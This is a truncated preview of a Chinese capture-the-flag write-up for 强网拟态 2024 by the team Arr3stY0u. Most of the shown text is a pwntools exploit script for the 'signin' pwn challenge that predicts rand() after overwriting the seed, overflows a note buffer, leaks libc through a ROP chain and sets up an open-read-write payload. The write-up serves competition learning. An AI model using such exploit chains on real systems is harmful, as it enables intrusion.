强网拟态 2024 writeup by Arr3stY0u

文章预览

web又拉跨了~求求打野web选手来救救吧~ 获取题目下载链接请后台回复：mimic2024 CRYPTO xor PWN signin 覆盖种子之后在add函数有溢出，泄露libc之后打orw from pwn import * from ctypes import * io = process('./vuln') elf = ELF('./vuln') context(log_level='debug',arch='amd64',os='linux') #io = remote("pwn-529731b787.challenge.xctf.org.cn", 9999, ssl=True) libc = ELF('./libc.so.6') io.send(b'\x00'*0x12) cdll = CDLL('./libc.so.6') cdll.srand(0) for i in range(100): io.recvuntil('Input the authentication code:\n') io.send(p64(cdll.rand()%100+1)) io.recvuntil(b'>> \n') io.send(p32(1)) io.recvuntil(b'Index: ') io.send(p32(1)) io.recvuntil(b'Note: ') io.send(b'a'*0x100) pop_rdi = 0x401893 fake_rbp = 0x4042A0 io.send(b'a'*0x100 + p64(fake_rbp) + p64(pop_rdi) + p64(elf.got['read']) + p64(elf.sym[ "puts" ]) + p64(0x4013CF)) io.recvuntil(b'\x0a') libcbase = u64(io.recv(6).ljust(8,b'\x00'))-libc.sym[ "read" ] pop_rdi = libcbase+libc.search(asm( "pop rdi\nret" ………………………………